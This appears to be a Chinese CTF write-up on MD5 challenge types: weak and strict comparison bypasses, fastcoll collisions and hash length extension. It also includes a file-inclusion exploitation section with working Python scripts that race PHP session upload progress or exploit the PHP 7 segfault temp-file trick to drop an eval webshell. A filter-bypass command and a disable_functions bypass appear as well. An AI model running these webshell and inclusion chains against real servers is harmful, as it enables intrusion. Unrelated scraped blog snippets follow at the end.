CTF题型 md5考法例题汇总

CTF题型 md5考法相关例题总结

文章目录

  • CTF题型 md5考法相关例题总结
    • 一.md5弱字符相等(==)
      • [SWPUCTF 2021 新生赛]easy_md5
    • 二.md5强字符相等(===)
      • 1)文件相等
      • [2024 qsnctf 擂台赛 easy_md5]
      • 2)字符相等
      • [安洵杯 2019]easy_web
    • 三.md5哈希长度扩展攻击
      • [NPUCTF2020]ezinclude
      • 文件包含利用
        • 1.session文件包含
        • 2.php7 segment fault特性(段错误)
        • 3.包含日志文件(Fail)

一.md5弱字符相等(==)

[SWPUCTF 2021 新生赛]easy_md5

例题 https://www.nssctf.cn/problem/386

关键代码就一行 if ($name != $password && md5($name) == md5($password))

保证 值不相等 而且 md5 值 弱比较相等

因为 md5(数组)将返回 Null

弱比较 进行了类型转换

image-20240319201630120

二.md5强字符相等(===)

1)文件相等

[2024 qsnctf 擂台赛 easy_md5]

有 https://www.qsnctf.com/#/main/driving-range

题目名 :easy_md5

传两个相同的pdf文件

保证md5的值强相等 强相等不会进行自动类型转换 此时不能输入数组了,只能输入字符串

工具:fastcoll 生成md5强相等的字符串

下载地址;http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip

image-20240319202610313

可以指定前缀(有些题需要特定前缀)

这里我们新建一个pdf文件

fastcoll_v1.0.0.5.exe test.pdf -o 1.pdf 2.pdf

image-20240319202759911

上传相同两个md5文件

image-20240319203007168

直接拿flag

2)字符相等

[安洵杯 2019]easy_web

题目环境:https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]easy_web

image-20240319203238679

暗示题目和md5有关

image-20240319203612788

开题传了一个img参数

直接传赛博厨子

image-20240319203806837

发现经过两次base64解码和hex解码后得到 图片名

猜测是任意文件读取

尝试读取index.php 同样的操作后 得到结果TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

image-20240319204108827

image-20240319204303087

得到base64内容解码后

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

成了一道命令执行的题

绕过

preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)

禁止了很多读取文件的命令 ,以及一些符号

就是不禁 /

用 base64 读文件即可

base64 /flag

前面我们用fastcoll生成 md5强相等的文件

在用一个脚本转换为字符即可(根据实际情况改文件名)

<?php 
function readmyfile($path){
 $fh = fopen($path, "rb");
 $data = fread($fh, filesize($path));
 fclose($fh);
 return $data;
}
echo("当前工作目录:".getcwd()."\n");
$a = urlencode(readmyfile(getcwd().'\1.txt'));
$b = urlencode(readmyfile(getcwd().'\2.txt'));
if(md5((string)urldecode($a))===md5((string)urldecode($b))){
echo $a;
echo "\n";
}
if(urldecode($a)!=urldecode($b)){
echo $b;
}

生成文件fastcoll_v1.0.0.5.exe test.txt -o 1.txt 2.txt

通过文件生成两段相同 md5的字符串

image-20240319210928280

%01%BE%A5%8B%7F%C5%2A%3D%E3%9D.%3B%19%0B%A1%1C%A8%AD%03%10%959%8E%2A%3F%AE%83rK%AC%0CE%D4%B9%F9%F2%EEv%E6%D2%EBon%DB%CA%7FPB%3DWP%19%9D%14%5E7c%81%C7%A7%1A%A6%1D%F0%9D%AF.P%D9%2C-%93%ED%01%E4d%B2q%ED%A1%29%F5%84M%16%CB%A7.%7C%15%B4%CF%5B%8C%CDA6%CC%C0%8D%86%0B%7B%F6%1A%96%E7%F0%93j%EFH%82%9F4%0F%5E%91dY%CA%87%DA%FF%D7%E6%11%D3
%01%BE%A5%8B%7F%C5%2A%3D%E3%9D.%3B%19%0B%A1%1C%A8%AD%03%90%959%8E%2A%3F%AE%83rK%AC%0CE%D4%B9%F9%F2%EEv%E6%D2%EBon%DB%CA%FFPB%3DWP%19%9D%14%5E7c%81%C7%27%1A%A6%1D%F0%9D%AF.P%D9%2C-%93%ED%01%E4d%B2q%ED%A1%29%F5%84%CD%16%CB%A7.%7C%15%B4%CF%5B%8C%CDA6%CC%C0%8D%86%0B%7B%F6%1A%96%E7%F0%93%EA%EEH%82%9F4%0F%5E%91dY%CA%87%DA%7F%D7%E6%11%D3

image-20240319211346268

可以成功执行命令

base64 /flag 特殊字符 urlencode一下

image-20240319211446184

可以拿到flag

我看网上都是 用 \ 拼接绕过的(代表命令的续接)

image-20240319211807231

但是不是禁了 \ 吗 https://hiregex.com/

image-20240319212050105

可能非预期了哈哈

三.md5哈希长度扩展攻击

特征;md5(密文+“已知的字符串”)===已知的md5值

求密文的值

就可以判断这题考md5哈希长度扩展攻击

懒鬼专用工具:https://github.com/shellfeel/hash-ext-attack?tab=readme-ov-file

傻瓜式操作+汉化 密钥长度要自己尝试

[NPUCTF2020]ezinclude

题目环境:https://buuoj.cn/challenges#[NPUCTF2020]ezinclude

image-20240319215659508

name pass为空时返回hash (md5的形式)

<!--md5($secret.$name)===$pass -->

说明返回的hash就是 pass的值

居然可以直接传递pass=hash的值 绕过

image-20240319215732707

image-20240319215901607

感觉非预期 烂了 这道题好像和md5哈希长度扩展攻击 关系不大…哈哈哈哈

访问 flflflflag.php 出题人有点阴险 故意做了一个重定向

image-20240319220825635

变成一个文件包含的问题 包含/etc/passwd 可以正常包含

image-20240319221232434

用伪协议直接包含/flag 无回显

看看 flflflflag.php 源码

?file=php://filter/convert.base64-encode/resource=flflflflag.php

<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>

文件包含利用

续接上题 文件包含利用

1.session文件包含

利用session.upload_progress

可控sess临时文件名 进行条件竞争 实现在 sess文件被自动清理之前被执行

payload

import io
import sys
import requests
import threading

host = 'http://a407b462-0749-4249-a31f-817881e6edfd.node5.buuoj.cn:81/flflflflag.php'
sessid = 'test'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('1.php','w'),'<?php eval($_POST[1])?>');?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        if 'php.net' not in response.text: #代表未成功写入
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

退出后访问1.php

image-20240320004745122

可以在环境变量中找到flag

2.php7 segment fault特性(段错误)

php7 segment fault特性:当PHP异常退出时,POST的临时文件会被保留(无论网站是不是在POST方法里接收了文件,只要传了就会被当成临时文件保留)

保存在 /tmp目录

利用条件:

php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
可以获取文件名

image-20240319225446509

php环境可以利用

常用崩溃payloadphp://filter/string.strip_tags/resource=/etc/passwd"

看网上都是通过dirsearch发现dir.php 文件
在这里插入图片描述

?file=php://filter/convert.base64-encode/resource=dir.php

读取源码

<?php
var_dump(scandir('/tmp'));
?>

发现扫描了 /tmp目录 可以拿/tmp目录的文件名

结合php7 segment fault特性

利用脚本

import requests
from io import BytesIO
url="http://d1fdd60d-2b91-4eec-b515-b332b741eac1.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php eval($_POST[1]);?>"
files={
    "file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)

print(r.text)

image-20240319225748383

页面崩溃 一切顺利

访问dir.php

image-20240319225844880

可以拿到文件名 php2Bhnht

包含 php奔溃文件 echo(123)可以回显

image-20240319230341463

查看 phpinfo();

image-20240319230943658

发现flag在环境变量里

image-20240319232912362

发现开启了disable_functions

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,scadnir,readfile,show_source,fpassthru,readdir

禁用了许多系统函数 尝试绕过disable_functions

直接丢给蚁剑 用蚁剑终端

返回ret=127 说明disable_functions生效

image-20240319231602457

用蚁剑的插件绕过

image-20240319231410135

发现flag在环境变量里

image-20240319232756099

3.包含日志文件(Fail)

一般日志位置:

nginx : /var/log/nginx/access.log

apache2: /var/log/apache2/access.log

image-20240320001218824

没有进行记录,不可利用

换种思路 利用当前程序的环境变量

用虚拟文件系统…/…/…/…/proc/self/environ

HTTP_User_Agent塞php脚本

读不到/proc/self/environ 也不行

可能也可以用php filter chain 直接rce 绕过

之后有空写个文件包含专题吧

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/477987.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

配置视图解析器

我们在指定视图的时候路径是有重复的&#xff0c;重复的操作可以用视图解析器&#xff0c;让框架帮我们&#xff1a; mv.setViewName("/WEB-INF/view/show.jsp");mv.setViewName("/WEB-INF/view/other.jsp"); 配置视图解析器&#xff1a; 注册视图解析器:帮…

34 vue 项目默认暴露出去的 public 文件夹 和 CopyWebpackPlugin

前言 这里说一下 vue.config.js 中的一些 public 文件夹是怎么暴露出去的? 我们常见的 CopyWebpackPlugin 是怎么工作的 ? 这个 也是需要 一点一点积累的, 因为 各种插件 有很多, 不过 我们仅仅需要 明白常见的这些事干什么的即可 当然 以下内容会涉及到一部分vue-cli,…

Python爬虫实战—探索某网站电影排名

文章目录 Python爬虫实战—探索某网站电影排名准备工作编写爬虫代码代码解析运行情况截图进一步优化和说明完整代码总结 说明&#xff1a;本案例以XXX网站为例&#xff0c;已隐去具体网站名称与地址。 Python爬虫实战—探索某网站电影排名 网络爬虫是一种自动化程序&#xff0…

SQLiteC/C++接口详细介绍sqlite3_stmt类(十三)

返回&#xff1a;SQLite—系列文章目录 上一篇&#xff1a;SQLiteC/C接口详细介绍sqlite3_stmt类&#xff08;十二&#xff09; 下一篇&#xff1a; 待续 51、sqlite3_stmt_scanstatus_reset sqlite3_stmt_scanstatus_reset 函数用于重置指定语句对象最近一次执行的 WHER…

Vue3 Vite3 状态管理 pinia 基本使用、持久化、在路由守卫中的使用

参考https://juejin.cn/post/7152774411571953677&#xff0c;自己简洁化了一部分 1.安装pinia依赖 yarn add pinia 创建pini实例 根目录创建store文件夹&#xff0c;然后创建index.js import { createPinia } from piniaconst pinia createPinia()export default pinia …

2024年全国职业院校技能大赛中职组大数据应用与服务赛项题库参考答案陆续更新中,敬请期待…

2024年全国职业院校技能大赛中职组大数据应用与服务赛项题库参考答案陆续更新中&#xff0c;敬请期待… 武汉唯众智创科技有限公司 2024 年 3 月 联系人&#xff1a;辜渝傧13037102709 题号&#xff1a;试题04 ZZ052-大数据应用与服务赛选赛题04 模块一&#xff1a;平台搭建…

一文带你看懂 前后端之间图片的上传与回显

一文带你看懂 前后端之间图片的上传与回显 前言 看了很多类似的文章&#xff0c;发现很多文章&#xff0c;要不就是不对&#xff0c;要不就是代码写的不通俗易懂&#xff0c;所以有了这篇文章&#xff0c;我将会从原理到实战&#xff0c;带你了解 实战包含前端 原生 vue3 rea…

阿里云OCR文字识别-Python3接口

1.注册/登录阿里云账号 官网链接注册登录 2.选择阿里云OCR产品 选择产品 3.开通阿里云OCR产品 开通服务&#xff08;每个月赠送200次&#xff0c;不用超就不额外收费&#xff09; 4.进入调试页面&#xff0c;下载SDK示例 下载SDK模板 5.创建 AccessKey密钥 RAM传送门 创建…

外腔激光器(ECL)市场发展空间大 外腔半导体激光器(ECDL)是主要产品类型

外腔激光器&#xff08;ECL&#xff09;市场发展空间大 外腔半导体激光器&#xff08;ECDL&#xff09;是主要产品类型 外腔激光器&#xff08;ECL&#xff09;&#xff0c;是一种利用外腔进行光反馈的激光器。根据新思界产业研究中心发布的《》2024-2029年中国外腔激光器&…

立体式学习灯最推荐哪款?书客、孩视宝、雷士等热销大路灯强势PK!

立体式学习灯是一款能够帮助长时间伏案工作以及学习人群的照明家电,正因为其优越的表现也受到了不少消费者的喜爱。作为一名电器博主,我也购入过不少立体式学习灯但时有买到一些光线不足、品质差的大路灯&#xff0c;呈现出来的光线不能提升照明条件&#xff0c;反而还会引起越…

LeetCode每日一题【19. 删除链表的倒数第 N 个结点】

思路&#xff1a;快慢指针 /*** Definition for singly-linked list.* struct ListNode {* int val;* ListNode *next;* ListNode() : val(0), next(nullptr) {}* ListNode(int x) : val(x), next(nullptr) {}* ListNode(int x, ListNode *next) : val(x)…

瑞_Redis_商户查询缓存_什么是缓存

文章目录 项目介绍1 短信登录2 商户查询缓存2.1 什么是缓存2.1.1 缓存的应用场景2.1.2 为什么要使用缓存2.1.3 Web应用中缓存的作用2.1.4 Web应用中缓存的成本 附&#xff1a;缓存封装工具类 &#x1f64a; 前言&#xff1a;本文章为瑞_系列专栏之《Redis》的实战篇的商户查询缓…

【数据库系统】数据库完整性和安全性

第六章 数据库完整性和安全性 基本内容 安全性&#xff1b;完整性&#xff1b;数据库恢复技术&#xff1b;SQL Server的数据恢复机制&#xff1b; 完整性 实体完整性、参照完整性、用户自定义完整性 安全性 身份验证权限控制事务日志&#xff0c;审计数据加密 数据库恢复 冗余…

Vue3 v-for绑定的dom获取ref为undefined

这是代码结构 <div class"playerInfo" v-for"(item, index) in data.playersInfo" :key"index" :ref"el > {if(el)playersRef[index] el}":style"left:${item.position[0]};top:${item.position[1]}"click"pla…

【ZooKeeper】2、安装

本文基于 Apache ZooKeeper Release 3.7.0 版本书写 作于 2022年3月6日 14:22:11 转载请声明 下载zookeeper安装包 wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.7.0/apache-zookeeper-3.7.0-bin.tar.gz解压 tar -zxvf apache-zookeeper-3.7.0-b…

Transformer的前世今生 day06(Self-Attention和RNN、LSTM的区别

Self-Attention和RNN、LSTM的区别 RNN的缺点&#xff1a;无法做长序列&#xff0c;当输入很长时&#xff0c;最后面的输出很难参考前面的输入&#xff0c;即长序列会缺失上文信息&#xff0c;如下&#xff1a; 可能一段话超过50个字&#xff0c;输出效果就会很差了 LSTM通过忘…

什么是行业垂直类媒体?有哪些?怎么邀约

传媒如春雨&#xff0c;润物细无声&#xff0c;大家好&#xff0c;我是51媒体胡老师。 行业垂直类媒体是聚焦于特定行业或领域的媒体平台。 行业垂直类媒体不同于主流媒体&#xff0c;它们专注于提供与某个特定领域相关的深入内容和服务&#xff0c;例如商业新闻、旅游、数字…

什么快递可以寄摩托车?看你要啥样的了

一辆49cc的二冲程摩托车仅需561元。 购买125的组装车不会超过1元&#xff0c;购买250品牌发动机的组装车不会超过4000元。 购买一辆名牌摩托车大约需要4000到10000元。 花一万到两百万多就能买到一辆像样、动力强劲、能玩的炫酷摩托车。 哈哈&#xff0c;就看你想要什么了&…

力扣---随机链表的复制

给你一个长度为 n 的链表&#xff0c;每个节点包含一个额外增加的随机指针 random &#xff0c;该指针可以指向链表中的任何节点或空节点。 构造这个链表的 深拷贝。 深拷贝应该正好由 n 个 全新 节点组成&#xff0c;其中每个新节点的值都设为其对应的原节点的值。新节点的 n…

关于5.x版本的Neo4j与py2neo的访问技巧

先说结果。 Neo4j是可以使用py2neo来操作的。而且网上搜到的教程和方法里&#xff0c;首推的http连接方法可能并不是最好的&#xff0c;应该用 bolt 方法可能更好。 对于大多数使用 py2neo 与 Neo4j 数据库进行交互的应用程序来说&#xff0c;建议使用 Bolt 协议&#xff08;即…